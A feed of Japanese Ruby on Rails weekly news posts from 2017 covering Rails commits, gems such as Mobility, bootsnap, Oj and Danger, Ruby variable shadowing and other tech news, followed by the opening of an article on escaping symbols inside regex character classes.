Tシャツのサイズ「”S,M,L,XL”」のような表示にしか使わない付加的な情報のために、わざわざモデルを作って多対多でリレーションして、みたいなことは避けたいと思うのが人情です。

カンマ区切りの文字列をカラムに保存しておいて#splitで切り分けて使うのがよくある回避方法ですが、PostgreSQLのJSONB型を使えば["S", "M", "L", "XL"]といったArrayをまるっと保存できるので#split要らずで便利だよ、という記事です。

なお同記事のコメントに「この場合JSONBいらなくね? PostgreSQLならarray: trueだけでできるお↓」とツッコミが入っていました。

# http://jeromedalbert.com/jsonb-plus-rails-to-store-glorified-strings-in-your-db/ より
class AddSizesToProducts < ActiveRecord::Migration
  def change
    add_column :products, :sizes, :text, array: true, default: []
  end
end

念のためStackoverflowを見るとPostgresのArray型は一応インデックス化できるようですが、そういう使い方はあまりよくない気がします。

これまたStackoverflowによると、MySQLにはArray型はないそうです。MySQLのタスクリストを見ると2007年以来アサインすらされていません(´・ω・`)。

Linguist gem: プログラミング言語の種類を自動判定(GitHub Trendingより)

↑GitHubリポジトリでプログラミング言語を自動判定するのに使われているそうです。皆さまのフィードバックをお待ちしています。

こんな使い方はいかが

これまたkazzさんから「受け取ったソースコードにどんな言語が使われているのかをさくっとチェックするのにいいかも」というアイデアが飛び出しました。

Linguist gemはgem install github-linguistでインストールできますが、CMakeがないとビルドに失敗します(参考: MacOSXでcmakeのコマンドライン版を使えるようにする)。

linguist --breakdownで無事チェックできました(∩´∀`)∩ワーイ。

OSPTF: オープンソースのペネトレーションテストフレームワーク


https://howucan.grより

ついさっきTwitterで見つけました。そのまんまの名前です。

ペネトレーションテストはサーバーのセキュリティチェックで使われますが、オープンソースなのがありがたいですね。

なおpenetration testはもともと防弾チョッキの性能を試すための銃撃テストを指します。

人気の割にビジネス利用が進まないGo言語

Go言語ファン3,595人を対象にしたアンケート調査によると、「Go言語を他の人にも勧めたい」「仕事でもプライベートでも使ってる」というラブラブな回答は非常に多かったにもかかわらず、「Goは会社の成功には欠かせない」と考えている人は皆無だったそうです。Go言語の使いみちもほとんどが「CLI」「HTTPサーバ」「マイクロサービス」でした。

私自身も、Go言語は主役ではなく、懐刀や頼りになる参謀という位置づけがふさわしい気がします。速度の必要なバッチ処理や単機能のマイクロサービス、マルチプラットフォームのシェルスクリプト的に使うのがいいのかも。なにしろクラスがないので。

Go言語でRuby gemのネイティブエクステンションを書く試みがいくつかあるのでそっち方面に期待したいのですが、cgoやMakefileを使わずにgemらしくきれいに書く方法はまだなさそうです。

Peardrop: LSI設計ツール

英国のスタートアップ企業です。最近めっきり見かけなくなった「何も足さない・何も引かない」Webページですね。漢(おとこ)らしいと思います。

と思ったらPeardropは2015年に解散してました

リチウムイオン電池の発明者が今度は電解液をガラスに替えて不燃性の高速充電バッテリーを考案(HackerNewsより)

発明者のJohn Goodenough氏は御年94歳です。

ところで一部業界では「ガラスは液体」派と「ガラスは固体」派が長らく争っているそうですが、最近はガラス固体説がやや有利なようです。

今週は以上です。

関連記事

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。

Rails公式ニュース

Ruby Weekly

OpenRuby

RubyFlow

160928_1638_XvIP4h

Hacker News

160928_1654_q6srdR

Github Trending

160928_1701_Q9dJIU


週刊Railsウォッチ(20170407)N+1問題解決のトレードオフ、Capybaraのテスト効率を上げる5つのコツほか

$
0
0

こんにちは、hachi8833です。HackerNewsにあがってたHOW BANK OF AMERICA GAVE AWAY MY MONEYをつい読んでしまいました。いかにもコントやショートショートにありそうな話ですが、実際に起きるとめちゃ怖いですね。たぶんそのうちどこかの海外ネタサイトに載ると思います。

Ruby 2.1のサポート終了(Ruby公式ニュースより)

発表日が4/1だったので、すわエイプリルフールかと思いきや、1年前の予告どおりのスケジュールでの発表でした。

昨年 3 月末の Ruby 2.1.10 のリリース後、Ruby 2.1 系列はセキュリティメンテナンス期間に入っていましたが、予定の 1 年が経過しましたので、2017 年 3 月 31 日をもって、公式サポートを終了します。 以後、単なるバグの修正はもちろん、セキュリティ上の問題が発見された場合も、Ruby 2.1 系列については新たなリリースは行われません。 現在、Ruby 2.1 系列を使用中のユーザーは、速やかに、より新しいバージョン系列へと移行されるようお願いします。
Ruby 2.1 公式サポート終了より

メンテナンスポリシーはソフトウェアによってさまざまですが、Rubyの場合、ライフサイクルをどのように決定するかというはっきりした原則が今のところ見当たらないようです。一同でチェックしながら、現在のバージョンのライフサイクルをいつ終了させるかはコミュニティ任せなのかもしれない、という話題になりました。

Railsのアップグレードはそれなりに手がかかりますが、Railsで使われるRubyのアップグレードはスムーズにできるので、古いRailsでもRubyだけは最新にしている方も多いと思います。私も先日オレオレRails4アプリでRubyだけは2.4.1にアップグレードしましたが、Rubyが新しくなるたびにじわじわと速くなっているのを実感できます。

rails newから--javascriptオプションが削除される(Rails公式ニュースより)

JavaScript周りの変更にともない、Rails 5.1で--javascriptオプションが削除されます。

削除されたコード


railties/lib/rails/generators/app_base.rbより

従来Railsで使われていたJS系gemには「xxx-rails」といった名前のものがよく目につきますが、Rails 5.1でyarn管理に移行した後、「xxx-rails」系gemの多くがdeprecatedになるのかもしれないといった話題になりました。

driven_byがオーバーライド可能に(Rails公式ニュースより)

Rails 5.1への導入が決まっているCapybaraを活用した新しいブラウザ表示テスト用クラスであるSystemTestCaseで、テスト中に動的にseleniumやrack_testといったドライバを#driven_byで切り替えられるようになりました。

# https://github.com/rails/rails/pull/28586より
class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  driven_by :selenium, using: :chrome, screen_size: [1400, 1400], options: {url: "http://chrome:4444/wd/hub"}
end

class WithJavascriptTest < ApplicationSystemTestCase
end

class WithoutJavascriptTest < ApplicationSystemTestCase
  driven_by :rack_test  # ドライバの切り替え
end

複数ブラウザの表示とJavaScriptのテストはどうしても面倒になりがちですが、ブラウザ間の挙動の違いをSystemTestCaseでテストするのが少し楽になりそうです。

reverse_mergeのエイリアスwith_defaultが追加(Rails公式ニュースより)

Railsウォッチ(20170317)でお伝えしたreverse_mergereverse_merge!の追加(#28355)の続きです。

メソッド名にエイリアスを追加しただけというシンプルな内容ですが、reverse_mergeという生々しすぎて挙動を推測しづらいメソッド名に、strong_parametersにデフォルト値を追加できることがはっきりわかるwith_defaultsというエイリアスを追加したことで使いやすくなりました。

alias_method :with_defaults, :reverse_merge
...
alias_method :with_defaults!, :reverse_merge!

「こういう改修って大事だよね!」という声多数でした。名前は大事。

rails-ujs.jsのUMDモジュールサポートを修正(Rails公式ニュースより)

従来のjquery-ujsがjQuery依存脱却にともないrails-ujsと名称が変更されましたが、それに伴いUMDが使えなくなっていた問題が修正されました。今回知りましたが、UMD(Universal Module Definition)はクライアントとサーバーの両方で動作するJavaScriptモジュール定義のことでした。

jquery-ujsはRuby on Rails用に開発されたjQueryライブラリですが、jquery-railsと違い最新のjQueryを取ってくることまではしません。今に始まった話ではありませんが、JavaScript周りはgem名もいろいろあってわかりにくいですね。

参考

N+1問題とメモリの問題を同時に解決できない理由(RubyWeeklyより)

N+1問題についての解説記事です。よい感じです。

記事をチェックしていて、「bullet gemに怒られそうだけど、確かにN+1問題はどんな場合にもバッドプラクティスというわけではないよね」という話題になりました。元記事でも、N+1問題を解決したために、使いもしないオブジェクトが大量に生成されてメモリを逆に圧迫してしまう問題と、対処の方法について触れられています。

たとえば巨大なデータを扱うバッチ処理を小分けにするといった状況では、N+1問題を修正することが必ずしも善とは限らないことを教わりました。

Rubyの一部のコードにシンボル処理を追加して高速化(RubyWeeklyより)

Rubyのパフォーマンス測定とパッチ当ての話なのでC言語が中心です。一同でチェックしていて「よく見つけたなこれ」と驚きの声が上がりました。


Making Ruby’s Array.include? faster for symbolsより

最終的に、vm_insnhelper.cでシンボルがまったく処理されていないことを突き止め、以下のように修正しています。


Making Ruby’s Array.include? faster for symbolsより

その後修正は一発でmergeされました。殊勲賞あげたくなっちゃいました。

同記事で参照しているRuby C APIガイドもよい資料ですね。

ポルトガルのRubyカンファレンスは今年は休み(RubyWeeklyより)

「今年で終わりではないが、ポルトガルでのコミュニティが今ひとつ盛り上がってないから」だそうです。ざっとググってみたところ、Rubyはポルトガル語圏ではそれほど盛り上がっていないようです。

Rubyのサブクラスをregistryに変更してリファクタリング(RubyWeeklyより)

これもよい感じですね。一同でチェックしていて「継承より委譲」という言葉が出てきました。

その後、「学校や教科書でオブジェクト指向を教えるときに、最初に継承を教えるのはあまりよくないかも」「実際に使うのはコンポジションとかの方が多いし」「他の項目との関連もあるから、継承を先に教えるのはある程度仕方がないけどね」などと話題が広がりました。

Mobility: 多言語の訳文をクラスの属性として利用できるgem(RubyWeeklyより)

Railsウォッチ(20170217)でご紹介したsvenfuchs/i18n-active_recordと同様の、多言語対応gemです。

# https://github.com/shioyama/mobility より
class Word < ApplicationRecord
  include Mobility
  translates :name,    type: :string
  translates :meaning, type: :text
end

こんなふうに多言語をActiveRecordの属性として扱えるようになります。脱yamlの多言語化の流れが加速していることを実感します。

word = Word.first
I18n.locale = :en
word.name
#=> "mobility"
word.meaning
#=> "(noun): quality of being changeable, adaptable or versatile"
I18n.locale = :ja
word.name
#=> "モビリティ"
word.meaning
#=> "(名詞):動きやすさ、可動性"

Mobilityのチェック中に、Webチームリーダーのmorimorihogeさんが「これ、同じようなのを随分前にbabaさんと作ったことある!」と、その場で社内GitLabのコードを見せてくれました。

BPSが長年運営している漫画翻訳サイト「MANGA REBORN」はRuby on Railsで構築されていますが、当初から2人によってがっつりと多言語化を意識した設計がなされていることを、私たちもその場で初めて知りました、マジで。

MANGA REBORNのマスコットキャラクター「マリちゃん」です

見せてもらったコードでは、漫画の日本語/英語タイトルといった属性を多言語コンシャスでモデル設計に盛り込み、かつ#__send__などのメタプログラミングを駆使したコードになっていて、予想より遥かにシンプルでした。

morimorihogeさんいわく「当時ActiveRecordを知って『Railsってこんなことできるんだー!』と感激した勢いで作ったのを思い出した」そうです。

5年以上も前にRailsアプリでここまで多言語化を追求していたとは…自称多言語厨の私も脱帽でした。

deep_pluck: ネストした関連付けでもeager loadingせずに#pluckを使えるgem

Railsのカラムを配列で取るのに多用される#pluckを、ネストした関連付けでeager-loadingせずに行えます。パフォーマンスもいいですね。

# https://github.com/khiav223577/deep_pluck より
User.where(:name => %w(Pearl Kathenrie)).deep_pluck(
  :name,
  :email,
  'posts' => [:name, 'post_comments' => :comment],
  'contact' => :address,
)

これは知っていて損はないgemですね。今さらですがpluckは「むしる、つまみ取る」という動詞です。

LittleBoxes: 依存性注入gem


https://github.com/manuelmorales/little-boxesより

Rubyで依存性注入を行うフレームワークだそうです。

# https://github.com/manuelmorales/little-boxes より
module MyApp
  class MainBox
    include LittleBoxes::Box

    let(:port) { 80 }            # 注入
    letc(:server) { Server.new } # 依存関係を指定して注入
  end

  class Server
    include LittleBoxes::Configurable

    dependency :port
  end
end

box = MyApp::MainBox.new
# => #<MyApp::MainBox :port, :server>

box.server.port
# => 80

「JavaならわかるけどRubyで使うところあるかな?」という意見もありました。Javaではロガーを書くときなどにこうした依存性注入がよく使われるそうです。ご興味のある方はどうぞ。

geared_pagination: ページに応じて項目数が可変になるページネーションgem

1ページ目は30件、2ページ目は50件というふうにページによって件数を変えるgemだそうです。ネーミングからして、自動車などの変速ギヤのイメージですね。

「こういうのより、下までスクロールしたら件数が追加される方がいいと思う」「でもスマホだと一番下の [PC版に切り替える] がどんどん逃げて押せないサイトあるよねw」といった話題になりました。

ご興味のある方はどうぞ。

Capybaraのテスト効率を上げる5つのコツ(RubyFlowより)

短いですが良い記事です。CapybaraやRSpecはチートシートが無味乾燥だったりマッチャを覚えるのが面倒だったりするので、こういう具体的なノウハウ集は助かりますね。

ただ、JavaScriptのイベント完了を待つ手法は「それはちょっとなー」と一斉に声が上がりました。

Pluto: RSSフィードから静的Webサイトを生成するgem(RubyFlowより)


http://feedreader.github.io/より

少々変わり種のgemです。RSSフィードから静的なWebページを生成します。ERBを書いてmiddlemanばりのカスタマイズもできます。

# http://feedreader.github.io/ より
<% site.feeds.each do |feed| %>
  <%= feed.url %>  or  <%= feed.link %>
  <%= feed.title %>  or  <%= feed.name %>
  <%= feed.title2 %>
  <%= feed.feed_url %>  or  <%= feed.feed %>
<% end %>

どこかでちょっとした使いみちがありそうな気がします。過去ブログのアーカイブ化やデジタルサイネージなどに使いみちあるかもという意見がありました。

tty-progressbar: CLIプログレスバーgem(RubyFlowより)

RubyでCLIのプログレスバーを作るgemです。今どきらしく色をつけるなどのカスタマイズがいろいろできます。

Piotrrrrr
downloading [======================= ]

MathJaxのCDNが今月いっぱいで閉鎖


https://en.wikipedia.org/wiki/MathJaxより

たまたま見つけました。数式表示用JavaScriptライブラリMathJaxのCDNが閉鎖されます。代替としてcdnjs.comを推奨しています。

数式表示にMathJax CDNを使っている有名ブログサイトはあちこちにあった気がするので要注意ですね。

Jupyter 5.0リリース(HackerNewsより)

ブラウザ上でコードを実行・記録可能なドキュメントシステムとして、機械学習系を中心に急速に人気が高まっているJupyterのバージョン5.0がリリースされました。もともとPython用でしたが、あっという間にRubyを始めさまざまな言語に対応しました。

  • ファイルリストを画面上でソート
  • キーボードショートカットのカスタマイズ
  • Cell tag機能で、コード中のプレースホルダに画面から値を入力・実行できる↓


Jupyter Notebook 5.0より

研究以外にも、社内研修、教育、プレゼンなどに役に立つツールだと思います。

C言語1000行足らずでシンタックスハイライト付きのテキストエディタ書いたった(HackerNewsより)

手元でgit cloneしてmakeしたらちゃんと動きました。終了はCtrl-Q連打で。

それだけならよくあるサイトなのですが、本人によるソースコード解説がものすごく詳細なのに驚きました。コード量より文章量の方が明らかに多いですね。凄い。

Twitter Lite発表(HackerNewsより)

https://lite.twitter.com/でPCでもモバイルでも使えます。
確かに従来より軽快です。これいいですね。

教師なし感情ニューロンを開発(HackerNewsより)

これはマジで驚きです。Amazonレビューの文章をサンプルに用いて、次にどんな文字が来るかを感情ニューロンに予測させる研究中に、レビューに含まれる書き手の感情(ポジティブまたはネガティブ)を高い精度で検出できたのだそうです。教師なし(unsupervised)なので、人間が手取り足取り指示しなくてもデータを食わせるだけで違いを学習したということですね。


https://blog.openai.com/unsupervised-sentiment-neuron/より

以下のように、好意的な文を緑、否定的な文を赤でハイライトするアニメーションGIFも掲載されています。


https://blog.openai.com/unsupervised-sentiment-neuron/より

機械学習系の成果でよくあることですが、これも原理はまだよくわかっていないようです。
こういう機能が近々Rubygemなどで利用できるようになるかもしれません。

小ネタ: forty_twoドキュメントの引用が間違っていた(Rails公式ニュースより)

Silly method gets a silly doc fix,

「アホなメソッド名でアホなドキュメント修正」だそうです。fourty twoというメソッド名については以下をどうぞ。

参考: RailsのArray拡張にforty_twoがいる謎

今週は以上です。

関連記事

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。

Ruby 公式ニュース

Rails公式ニュース

Ruby Weekly

RubyFlow

160928_1638_XvIP4h

Hacker News

160928_1654_q6srdR

週刊Railsウォッチ(20170512)Rubyの不思議な挙動「シャドウイング」、コードレビュー作法を定めるDanger gemほか

$
0
0

こんにちは、hachi8833です。Rails 5.1でrails newすると忘れた頃にspringに邪魔されます。

GWをはさんだ2週間ぶりのRailsウォッチ、いってみましょう。

Rails: aggregated_resultsで任意の種類の引数を取れるよう修正

y-yagiさんという方の「なるようになるブログ」は、Railsのコミットログをひたすら読む記事を毎日のようにアップするというすごいブログなのですが、そのy-yagiさんがRailsにちょくちょくプルリクを送っていることに昨日初めて気づきました。

コミットログでお名前を少しだけ追いかけてみたところ、少なくとも今年3月ぐらいから続々淡々とプルリクしていて、kamipoさんに迫りそうな勢いです。上は現時点で最新のPRです。
いつもありがとうございます。

Rails: secretsに関する記述を修正

-building on top of the [sekrets](https://github.com/ahoward/sekrets) gem.
+inspired by the [sekrets](https://github.com/ahoward/sekrets) gem.

これ、私も記事を書いていて引っかかってしまいました。Sekrets gemがRailsに組み込まれたのではなく、Secretsにインスパイアを受けて独自に実装したというのが正解でした。

BPS WebチームのakioさんがRails 5.1でrails newしてみて「Sekrets gemが入ってませんねー」と知らせてくれたことでわかりました。ありがとうございます。

Rails: #map#flat_mapに変更

-        chain.map(&:scopes).flatten
+        chain.flat_map(&:scopes)

Rubyスタイルガイドでも推奨されている#flat_mapへの置き換えです。

参考: Rubyスタイルガイドを読む: #mapと#flattenではなく#flat_mapを使うこと

Rails: ActionMailer::Baseからのrequire "active_support"の脱落を修正

# actionmailer/lib/action_mailer.rb
+require "active_support"
 require "active_support/rails"

どこで抜けたのかと思って履歴を追ってみたところ、3f8409でaction_mailer/base.rbからrequire行が引越したのを見つけました。

+require 'active_support/core_ext/class'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/array/uniq_by'
+require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/module/delegation'
+require 'active_support/core_ext/string/inflections'

そしてその前からrequire "active_support"はなかったようです。

-require 'active_support/core_ext/class'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/array/uniq_by'
-require 'active_support/core_ext/module/delegation'
-require 'active_support/core_ext/string/inflections'

Rails: RuntimeReflection#alias_nameに型変換を追加

以下が改修点です。

-        Arel::Table.new(table_name)
+        Arel::Table.new(table_name, type_caster: klass.type_caster)

そのままArel::Tableも見てみました。

def initialize(name, as: nil, type_caster: nil)
      @name    = name.to_s
      @type_caster = type_caster
...
end

type_casterは以下にありました。

...
    class Connection # :nodoc:
      def initialize(klass, table_name)
        @klass = klass
        @table_name = table_name
      end
...

Rails: bind_parambind_attributeActiveRecord::TestCaseに切り出す

kamipoさんによるテストコードの修正です。

-        result = @connection.select_all("SELECT * FROM posts WHERE id = #{Arel::Nodes::BindParam.new.to_sql}", nil, [[nil, post.id]])
+        result = @connection.select_all("SELECT * FROM posts WHERE id = #{bind_param.to_sql}", nil, [[nil, post.id]])
-        binds = [Relation::QueryAttribute.new("id", "10", Type::Integer.new)]
+        binds = [bind_attribute("id", "10", Type::Integer.new)]

テストコードで上のように重複している多数のnewをリファクタリングして、以下のようにtest_case.rbに集約しています。

# activerecord/test/cases/test_case.rb
+    def bind_param
+      Arel::Nodes::BindParam.new
+    end
+
+    def bind_attribute(name, value, type = ActiveRecord::Type.default_value)
+      ActiveRecord::Relation::QueryAttribute.new(name, value, type)
+    end

一同でチェックしながら「たぶんテストコードのファイルの複製を繰り返しているうちにnewがかぶってきたんだろうねー」という声がありました。
kamipoさんの地道な修正に頭が下がります。

mini_racer: 軽快なJS V8エンジン gem

mini_racerは名前からうかがえるように、GoogleのJavaScriptエンジンであるV8をRailsで使うときの定番gemであるtherubyracerの縮小版です。

試しにmini_racerをインストールしてみると、libV8のバージョンがtherubyracerより随分進んでます。

READMEのベンチマークを見る限りはかなり軽快そうです。

# https://github.com/discourse/mini_racer より
$ bundle exec ruby bench.rb mini_racer
Benching with mini_racer
mini_racer minify discourse_app.js 9292.72063ms
mini_racer minify discourse_app_minified.js 11799.850171ms
mini_racer minify discourse_app.js twice (2 threads) 10269.570797ms

sam@ubuntu exec_js_uglify % bundle exec ruby bench.rb node
Benching with node
node minify discourse_app.js 13302.715484ms
node minify discourse_app_minified.js 18100.761243ms
node minify discourse_app.js twice (2 threads) 14383.600207000001ms

sam@ubuntu exec_js_uglify % bundle exec ruby bench.rb therubyracer
Benching with therubyracer
therubyracer minify discourse_app.js 171683.01867700001ms
therubyracer minify discourse_app_minified.js 143138.88492ms
therubyracer minify discourse_app.js twice (2 threads) NEVER FINISH

Killed: 9

ところで、therubyracerといえば以下の記事で知られているように昔のRailsでひどい目にあった方が結構いました。RailsのV8周りについては、mini_racerに置き換えるにしても一応注意する方がよさそうです。

私もGemfileのtherubyracerのコメントアウトをむやみに解除しないようにします。

sassc-ruby: 高速Sassコンパイラ gem

sassc-rubyはSassのコンパイルをC言語ライブラリで行えるgemです。

# https://github.com/sass/sassc-rub より
[1] pry(main)> Benchmark.bm { |bm| bm.report { Rails.application.assets["application.css"] } }
       user     system      total        real
   1.720000   0.170000   1.890000 (  1.936867)

# Using sass-rails

 [1] pry(main)> Benchmark.bm { |bm| bm.report { Rails.application.assets["application.css"] } }
       user     system      total        real
  7.820000   0.250000   8.070000 (  8.106347)

sassc-rubyのリポジトリでは★50個程度で「ありゃ」と思ったのですが、READMEに書いてあったsassc-railsの方は★400個達成しています。こちらはまだ2年ほどの比較的若いgemです。

急いでインストールする必要はないと思いますが、Sassの性能改善が不可避になったときに検討してみてもよいかもしれません。

Oj(Optimzed JSON) gem 3.0.0リリース(RubyWeeklyより)

高速を謳っているJSONパーサーgemです。akioさんがその場で早速動かしてみました。

require 'json'
v = {:a => {:b => :c}}
s = JSON.dump(v)                        # => "{\"a\":{\"b\":\"c\"}}"
JSON.parse(s, :symbolize_names => true) # => {:a=>{:b=>"c"}}

require 'oj'
v = {:a => {:b => :c}}
# s = Oj.dump(v, :mode => :compat)      # => "{\"a\":{\"b\":\"c\"}}"
s = Oj.dump(v)                          # => "{\":a\":{\":b\":\":c\"}}"
Oj.load(s)                              # => {:a=>{:b=>:c}}

# oj はいったん文字列にしてしまったキーはシンボルにはできないと思いきや :symbol_keys オプションでシンボルに戻せる
# ただ値は文字列のまま
s = Oj.dump(v, :mode => :compat)        # => "{\"a\":{\"b\":\"c\"}}"
Oj.load(s, :symbol_keys => true)        # => {:a=>{:b=>"c"}}

それにしても、JSONパーサーってどうして言語ごとにあんなにたくさんあるんでしょうか。せっかくJSONの仕様が定まっているのに実装がこんなに多いのは「とにかく今この問題を切り抜けたい」「既存のJSONパーサーの使い勝手が気に入らない」といった理由なのでしょうか。

なお私はbashスクリプトでjqをときどき使っています。癖は強いですが速いです。

bootsnap gem: Railsに新たなキャッシュを追加して高速化(RubyWeeklyより)

大規模Railsアプリをキャッシュで高速化するgemだそうです。
READMEで「Beta-quality」と書かれていることもあり、まだ発展途上のようですが、READMEはかなりみっちり書かれています。

やっていることは「$LOAD_PATHなどのスキャンを止める」「RubyのバイトコードコンパイルやYAMLをキャッシュする」など、きわどい感じです。一同から「えぇー、#requireにパッチ?!」と声が上がりました。

# https://github.com/Shopify/bootsnap/blob/master/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb#L48 より
class << Kernel
  alias_method :require_without_cache, :require
  def require(path)
    if resolved = Bootsnap::LoadPathCache.load_path_cache.find(path)
      require_without_cache(resolved)
    else
      raise Bootsnap::LoadPathCache::CoreExt.make_load_error(path)
    end
  rescue Bootsnap::LoadPathCache::ReturnFalse
    return false
  rescue Bootsnap::LoadPathCache::FallbackScan
    require_without_cache(path)
  end
...

READMEで参考として挙げられていた中にRubyコミッターであるko1さんのライブラリがありました。

コマンドがkakidasuだったりと「こういう名前って英語圏ではどうなんでしょ?」と聞かれてしまいました。私は英語村出身ではありませんが、類推が効かなくてつらそうな感じですね。

ところで、READMEに書いてあるyomidasugemspeck以外のどこにも見当たりませんでした。もしかして修正漏れでしょうか?

Rubyのシャドウイングで生じたバグ(RubyWeeklyより)

この挙動には一同かなり驚きました。Rubyがこんなふうに振る舞うなんて。akioさんも早速ぶん回してみました。

# https://thomasleecopeland.com/2017/04/20/shadowing-bug-in-the-wild.html
class Foo
  def buz
    42
  end
  def bar
    unless buz
      buz = 21
    end
    buz
  end
end

p Foo.new.bar # => さて何が返るでしょうか?

Ruby 2.4.1での実行結果は以下でした。

はい、ご覧のとおりnilが返ります。

元記事で「シャドウイング」と呼んでいるこの動作は、Rubyの公式ドキュメントにもしっかり書かれています。知らずに踏みそうで怖いですね。ドキュメントをざっと翻訳してみました。

Ruby 公式ドキュメントより

ローカル変数は、代入の発生時ではなくパーサーが代入を検出したときに作成される。

a = 0 if false    # ここではaに何も代入されないことに注意

p local_variables # => [:a]

p a               # => nil

メソッド名とローカル変数が類似していると、次の例のようにコードで混乱が生じることがある。

def big_calculation
  42 # なにしろ「42」なので計算にものすごく時間がかかる
end

big_calculation = big_calculation()

ここではbig_calculationへの参照はすべてローカル変数と解釈され、キャッシュされる。メソッドを呼ぶにはself.big_calculationを使う。

上のように空の丸かっこ()をつけるかself.などのレシーバを明示的に使うことで、メソッドを呼び出せる。ただしレシーバを明示すると、メソッドがpublicでない場合にNameErrorが生じることがある。

もうひとつの紛らわしい例は、以下のように後置のifを使う場合である。

p a if a = 0.zero?

上を実行するとtrueではなく「undefined local variable or method ‘a’」が出力される。Rubyはifの左にある単独のaをまず解析する。解析の時点では代入が行われていないため、Rubyはaをメソッドであると仮定する。その後aへの代入が行われると、Rubyはこれをローカルメソッドへの参照と仮定する。

この紛らわしい動作は、式が見た目とは違う順序で実行されていることによる。最初にローカル変数への代入が行われ、続いて存在しないメソッドを呼び出そうとしている。

Bundlerの新しいオプション

bundle update --conservativeというオプションを指定すると、gemのバージョンの進み方を極力少なくできるそうです。いいことを知りました。

見つけにくいスペルミスが原因でエラーになったお(RubyWeeklyより)

gaugesという名前を誤ってguagesにしてしまい、長年そのまま動いていたが、コード改修後のデプロイでビルドできなくなったことで発覚したというストーリーです。

レビュアーは何人もいたのに誰一人このスペルミスに気づかなかったという事実に著者も呆然としたそうです。

StringIO: ファイルのように振る舞うオブジェクト

StringIOを使って、ファイルのように振る舞うオブジェクトを使う方法を解説しています。StringIOはRubyの公式ライブラリです。

テストコードで「ファイル入出力をテストしたいが実際にファイルは作って欲しくない」場合などに便利そうです。

途中で「StringScannerは名前は似てるけど違いますよー」と書いてあります。

Friendly_id: URLの無味乾燥な数字をActiveRecordの値に置き換えるgem(RubyFlowより)

以下のように、URLのパラメータをActiveRecordの値に置き換えてくれるそうです。日本人にはあまり関係なさそうかなと思いました。
morimorihogeさんから「github.com/:usernameのようないわゆるslugでの使いみちがありますよー」と補足いただきました。

http://example.com/states/4323454
↓
http://example.com/states/washington

一同で見ながら「ブログタイトルなんかをこれで処理したら、タイトルが変わったときにURLがユニークじゃなくなっちゃうんじゃ?」というツッコミがありました。

RailsをCapybaraでリダイレクトさせる方法(RubyFlowより)

拍子抜けするほど短い記事です。英語の記事を読み慣れていない方はぜひチャレンジしてみてください。

Rails製CMSアプリのベストはどれだ(RubyFlowより)

Rails製CMSアプリっていったいいくつあるのでしょうか。こんなに嫌になるほど種類があって分散してしまうと「だったらWordPressでいいよ」となってしまいそうです。

Rubyで学ぶSOLIDオブジェクト指向(RubyFlowより)

みっちり書かれていてよさそうな感じの記事です。SOLIDについては以下をどうぞ。

我、明示的でないプログラミングを愛する(RubyWeeklyより)

DHHのエッセイです。

ざっとしか読んでませんが、「コードで常に何もかも明示的に書かなきゃいけないんだとしたらそんなのゴメンだ」「ActiveRecordのモデルみたいに簡潔な方がいいに決まってる」「コードを明示的に書くのが好きというヤツは、似たような定型コードを何度も何度も書かされるのが好きってことなんだろ、そのことを認識しないでそう言ってるんだとしたら不実じゃないのか」といったDHH節炸裂です。

原文のvalueは技術用語の「値」ではなく、本来の「値打ち」「価値」の方の意味ですね。

Danger: プルリクの書式や手順を揃えるgem(GitHub Trendingより)


http://danger.systems/より

CIでのコードレビュー作法を定めるgemだそうです。以下のような感じでコメントを付けます。


http://danger.systems/より

GitHub/GitLab/BitBucketなどのメジャーなリポジトリに対応しています。設定ファイルはそのまんまDangerfileです。以下のようなオプションがあります。

tableにコメント
message("アプリにgemを3つ以上追加したな(゚Д゚)ゴルァ!!")
CIワーニングの宣言
warn("CHANGELOGに何も書いてないぞ(゚Д゚)ゴルァ!!")
CIブロッキングエラーの宣言
fail("linterは大層お怒りのご様子です")
tableの下にmarkdownを出力
markdown("## ")
diff行にmarkdownを出力
warn("自分の名前書けや", file: "CHANGELOG.md", line: 4)

どなたか試してみたい勇者はいらっしゃいませんか。

Rooby->Goby: 100% Go言語で書かれたRuby実装

この間ウォッチで取り上げたgorubyはイマイチでしたが、このGobyはわたしもつい「もしや」と思ってしまいました。3か月ほどで早くも★が1100越えで、毎日のようにコミットが増えています。MacならHomebrewのcaskでもインストールできます。

ご多分に漏れず多くの機能が未実装で(まだirbもない)、最適化もこれからという状態ですが、ちょっと触ってみた限りでは動作が非常に安定しており、しかも「Ruby Under Microscope」やVMコードへのトランスパイルなどを下敷きにしたまっとうなつくりのようです。動作の猿真似ではなくちゃんと「すべてがクラス」になっています。

たとえば以下はRubyとGobyのどちらでも動きます。goby -cでバイトコードを出力できます(バイナリではなくテキスト)。

module Foo
  def ten
    10
  end
end

class Baz
  def ten
    1
  end

  def five
    5
  end
end

class Bar < Baz
  include(Foo)
end

b = Bar.new

puts(b.ten * b.five)

Gobyの立ち上がりはRubyに比べてかなり速いですが、現時点の機能の少なさと、外部ライブラリを読み込んでないオールインワンバイナリという点を差し引いておく方がよさそうです。個別のメソッドにはまだまだ遅いものもあるようです。

元々Roobyという名前でしたが、おととい 「Roobyという名前は米国人にとってRubyと発音がまったく同じなので紛らわしいんだよね: もちっと違う名前にしない?」というIssueが上がり、その翌日本当に名前をGobyに変えてしまいました


今週は以上です。

関連記事

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。

Ruby Weekly

RubyFlow

160928_1638_XvIP4h

Github Trending

160928_1701_Q9dJIU

正規表現: 文字クラス [ ] 内でエスケープしなくてもよい記号

$
0
0

こんにちは、hachi8833です。久しぶりに正規表現についての記事を書いてみました。

一応Ruby(Onigmo)を対象にしましたが、なるべく一般的になるようにしています。エッジケースを扱っているためにシンタックスハイライトがついていけてない部分がありますのでご了承ください。

文字クラス[ ]内のエスケープ

正規表現でのエスケープ、特に記号のエスケープは何かと面倒になりがちです。記号が出てくるたびに片っ端からバックスラッシュ\でエスケープしてばかりだと疲れてしまいます。

しかしつい忘れがちですが、正規表現の中でも文字クラス[ ]の中だけは別世界になっていて、文字クラスの外よりもエスケープが少なくてすみます。

あくまで原則としてですが、文字クラス[ ]の中に限り、以下の4つの記号だけがメタキャラクタ(=機能を持つ記号)として扱われます。

マイナスハイフン
-
山形記号
^
